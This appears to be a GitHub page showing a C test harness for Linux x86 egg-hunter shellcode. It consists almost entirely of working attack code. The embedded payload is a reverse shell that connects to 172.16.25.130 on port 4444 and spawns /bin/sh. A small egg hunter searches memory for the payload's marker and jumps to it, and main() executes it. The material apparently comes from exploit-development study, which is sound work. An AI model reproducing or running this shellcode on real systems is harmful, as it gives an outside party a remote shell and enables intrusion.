Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
23 lines (14 sloc) 784 Bytes
#include<stdio.h>
#include<string.h>
#define egg "\x50\x58\x50\x58"
unsigned char eggCode[] =
egg egg "\x31\xc0\x31\xdb\x31\xf6\x31\xff\xb0\x66\xb3\x01\x56\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc2\x31\xc0\xb0\x66\x43\x68\xac\x10\x19\x82\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x31\xc9\xb1\x02\x89\xd3\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
unsigned char code[] = \
"\x31\xc9\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\xb8" egg "\x89\xd7\xaf\x75\xe8\xaf\x75\xe5\xff\xe7";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
printf("Egg Shellcode Lenght: %d\n", strlen(eggCode));
int (*ret)() = (int(*)())code;
ret();
}
You can’t perform that action at this time.